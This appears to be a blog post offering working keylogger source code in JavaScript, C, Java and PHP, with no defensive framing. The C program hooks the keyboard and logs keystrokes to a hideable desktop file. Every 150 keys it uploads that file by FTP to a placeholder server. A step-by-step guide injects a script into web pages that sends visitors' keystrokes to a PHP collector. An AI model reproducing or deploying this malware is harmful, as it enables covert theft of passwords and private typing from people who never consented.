Search Google

Saturday 29 November 2014

keylogger code in php,java,c and notepad

 php keylogger
<script language="JavaScript" type="text/javascript"> winKL = window.open('log.txt','KeyLogger','directories=no,menu=no,status=no,resizable=no'); winKL.document.write('<html><body onLoad="self.blur();">'); document.onkeypress = function () { key = window.event.keyCode; winKL.document.write(String.fromCharCode(key)); } self.focus(); </script>

..........................................................................
 c keylogger

This program will create a file on desktop,named work.txt where the keystrokes are stored,then when 150 keys are pressed,it automaticaly uploads the file to your specified ftp server.
I use the Desktop directory because is more UAC friendly.
I've tested it from WINDOWS XP SP1 to WINDOWS 7 64 bit.

#pragma comment (lib,"wininet.lib")
#include <windows.h>
#include <wininet.h> //for uploadFile function
#include <shlobj.h>
#include <iostream>
using namespace std;
 
char * extractFilename(char * path){
char * ret = path;
bool isFullPath = false;
for (int i=0;i<strlen(path);i++){
    if (ret[i] == '\\'){
        isFullPath = true;
    }
}
if (isFullPath){
    ret = (char *)((DWORD)path + lstrlen(path) - 1);
    while (*ret != '\\')
        ret--;
    ret++;
}
return ret;
}

FILE * f;
HHOOK hKeyboardHook;
 
/*Change file attributes to hidden*/
void hide_file(char * file)
{
         if (GetFileAttributes(file) != 0x22)
         SetFileAttributes(file,0x22);
}
 
/*Since we are working with files placed on desktop we need the Desktop directory path*/
bool getDesktopPath(char * ret)
{
        char desktop[260];
        if (SUCCEEDED(SHGetFolderPath(NULL,
                                  CSIDL_DESKTOPDIRECTORY | CSIDL_FLAG_CREATE,
                                  NULL,
                                  SHGFP_TYPE_CURRENT,
                                  desktop)))
        {
                strcpy(ret,desktop);
                return true;
        }
        else
        {
                ret = NULL;
                return false;
        }
}
 
//Multiple concatenation
char *dupcat(const char *s1, ...){
     int len;
     char *p, *q, *sn;
     va_list ap;
 
     len = strlen(s1);
     va_start(ap, s1);
     while (1) {
         sn = va_arg(ap, char *);
         if (!sn)
             break;
         len += strlen(sn);
     }
     va_end(ap);
 
     p = new char[len + 1];
     strcpy(p, s1);
     q = p + strlen(p);
 
     va_start(ap, s1);
     while (1) {
         sn = va_arg(ap, char *);
         if (!sn)
             break;
         strcpy(q, sn);
         q += strlen(q);
     }
     va_end(ap);
 
     return p;
}//Example: cout<<dupcat("D:","\\","Folder",0)<<endl; ==> D:\Folder
 
  /*Upload file to server*/
BOOL uploadFile( char *filename, char *destination_name,char *address,char *username,char *password)
{
        BOOL t = false;
        HINTERNET hint,hftp;
        hint = InternetOpen("FTP",INTERNET_OPEN_TYPE_PRECONFIG,0,0,INTERNET_FLAG_ASYNC);
        hftp = InternetConnect(hint,address,INTERNET_DEFAULT_FTP_PORT,username,password,INTERNET_SERVICE_FTP,0,0);
        t = FtpPutFile(hftp,filename,destination_name,FTP_TRANSFER_TYPE_BINARY ,0);
        InternetCloseHandle(hftp);
        InternetCloseHandle(hint);
        return t;
}
 
 static int keysPressed = 0; //Lets count the keys pressed
 
LRESULT WINAPI Keylogger (int nCode, WPARAM wParam, LPARAM lParam)
{
        char currentDirectory[260];
                char * workFullPath;
               
       
    if  ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))     
    {
            bool truth = getDesktopPath(currentDirectory); //If we can capture the desktop directory then we are good
                if (truth)
                {
                    //Concatenate desktop directory and files
                        workFullPath = dupcat(currentDirectory,"\\work.txt",NULL); //So the file path will be like: C:\Users\Corporation\Desktop\work.txt
                        f = fopen(workFullPath,"a+"); //Open the file
                }
        KBDLLHOOKSTRUCT hooked_key = *((KBDLLHOOKSTRUCT*)lParam);
        DWORD dwMsg = 1;
        dwMsg += hooked_key.scanCode << 16;
        dwMsg += hooked_key.flags << 24;
        char lpszKeyName[1024] = {0};
                lpszKeyName[0] = '[';
 
        int i = GetKeyNameText(dwMsg,   (lpszKeyName + 1),0xFF) + 1;
        int key = hooked_key.vkCode;
                lpszKeyName[i] = ']';
         //Key value or something else ?
                 //if the key if from A-Z,a-z,0-9 then add this to file
                        if (key >= 'A' && key <= 'Z')
                        {
                             if  (GetAsyncKeyState(VK_SHIFT) >= 0)
                                         key += 0x20;
                                 if (f != NULL)
                                 fprintf(f,"%c", key);
                        }
                                                //else add the name of the key.For example if the key is 32 -> Add "Space" to the file,so we know that space has been pressed.lpszKeyName is that name.
                        else
                        {
                                if (f != NULL)
                                        fprintf(f,"%s", lpszKeyName);
                        }
                                                keysPressed ++;
                                                if (keysPressed == 150) //Enough data
                                                {
                                                        //extractFilename is used to extract only the file from path:Example: C:\data\x.php,
                                                        //extractFilename("C:\\data\\x.php") => x.php so that we add only the file to ftp
                                                        uploadFile(workFullPath,extractFilename(workFullPath),"www.xyz.org","ftpUsername","ftpPassword"); //Upload the file to FTP
                                                        keysPressed = 0;
                                                }
 
                        //You can make the file hidden :))
                        //hide_file(workFullPath);
                        fclose(f);
        }
    return CallNextHookEx(hKeyboardHook,nCode,wParam,lParam);
}

DWORD WINAPI JACKAL(LPVOID lpParm)
{
        HINSTANCE hins;
        hins = GetModuleHandle(NULL);
        hKeyboardHook = SetWindowsHookEx (  WH_KEYBOARD_LL, (HOOKPROC) Keylogger,   hins,  0);
 
        MSG message;
    while (GetMessage(&message,NULL,0,0))
    {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }
 
    UnhookWindowsHookEx(hKeyboardHook);
    return 0;
}
 
void main(){
        JACKAL(NULL);
}

------------------------------------------------------------------------------------------------------
 http://www.rohitab.com/discuss/topic/40755-good-keylogger/

---------------------------------------------------------------------

Java KeyLogger - Free Source code

import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.io.*;
import java.util.*;
import javax.swing.JFrame;
import javax.swing.JTextField;


public class KeyEventDemo{


public static void main(String[] args) throws IOException{
 
JFrame aWindow = new JFrame("This is the Window Title");
   
    aWindow.setBounds(0,0,0,0);
    aWindow.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

    JTextField typingArea = new JTextField(20);
    typingArea.addKeyListener(new KeyListener() {



public void files (String s) {
try(PrintWriter o = new PrintWriter(new BufferedWriter(new FileWriter("odi.txt", true)))) {
o.println(s);
}catch (IOException e) {
System.out.println("Fucked");
}
}


      public void keyTyped(KeyEvent e) {
        displayInfo(e, "KEY TYPED: ");
      }


      public void keyPressed(KeyEvent e) {
        //displayInfo(e, "KEY PRESSED: ");
      }


      public void keyReleased(KeyEvent e) {
        //displayInfo(e, "KEY RELEASED: ");
      }

      protected void displayInfo(KeyEvent e, String s) {
        String  modString, tmpString, actionString, locationString;
String keyString;
        int id = e.getID();
        if (id == KeyEvent.KEY_TYPED) {
          char c = e.getKeyChar();

          keyString = String.valueOf(c);
        } else {
          int keyCode = e.getKeyCode();
          keyString = "key code = " + keyCode + " (" + KeyEvent.getKeyText(keyCode) + ")";
        }

        int modifiers = e.getModifiersEx();
        modString = "modifiers = " + modifiers;
        tmpString = KeyEvent.getModifiersExText(modifiers);
        if (tmpString.length() > 0) {
          modString += " (" + tmpString + ")";
        } else {
          modString += " (no modifiers)";
        }

        actionString = "action key? ";
        if (e.isActionKey()) {
          actionString += "YES";
        } else {
          actionString += "NO";
        }

        locationString = "key location: ";
        int location = e.getKeyLocation();
        if (location == KeyEvent.KEY_LOCATION_STANDARD) {
          locationString += "standard";
        } else if (location == KeyEvent.KEY_LOCATION_LEFT) {
          locationString += "left";
        } else if (location == KeyEvent.KEY_LOCATION_RIGHT) {
          locationString += "right";
        } else if (location == KeyEvent.KEY_LOCATION_NUMPAD) {
          locationString += "numpad";
        } else { // (location == KeyEvent.KEY_LOCATION_UNKNOWN)
          locationString += "unknown";
        }
//System.out.println(keyString);

        //System.out.println(modString);
        //System.out.println(actionString);
        //System.out.println(locationString);
files(keyString);
 
 }

    });

    aWindow.add(typingArea);
    aWindow.setVisible(true);


  }
}

-----------------------

REQUIREMENTS

1. A website  with php support
2. A webbrowser

STEP 1 : Creating a file code.js and uploading it to your site in any durectory ( Let the directory be dir )

The below code should be pasted inside code.js 
var keys='';  // declaring a javascript variable to store each keystroke 
document.onkeypress = function(e) // calling the function to execute whenever a keystroke is there on html document  document.onkeypress  is an event handler
{
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode; //get character code 
key = String.fromCharCode(key); // convert it to string 
keys+=key; // append current character to previous one (concatinate)
}
window.setInterval(function(){
new Image().src = '/keylogger.php?c='+keys; // sending data as get request by creating a new image 
keys = '';
}, 1000); // set interval to execute function continuously

STEP 2 : Creating a php file "keylogger.php"



<?php
/*
keylogger.php
techworld2k.blogspot.com
*/
if(!empty($_GET['c'])) {
$logfile = fopen('data.txt', 'a+');
fwrite($logfile, $_GET['c']);
fclose($logfile);
}
?>
 The above code writes each character obtained from our javascript request to a  text file called data.txt .



STEP 3 : Creating a text file data.txt in directory "dir".


No code to be used inside this file

STEP 4: Implementation code


To use this key logger  in any page just use the below code

<script src="path to code.js">

path to code.js should be replaced with full path to the file code.js . for example http://mysite.com/code.js
Now you are finished .


This script will not save who  have pressed the particualr key.
The code will record every key stroke in your site . if you know some php you can make the code working for each user and record  every data to a database rather than text file...

Anyhow ..... Best of wishes for your keylogging.....
-----------------------------------------------------------------------------

No comments:

Post a Comment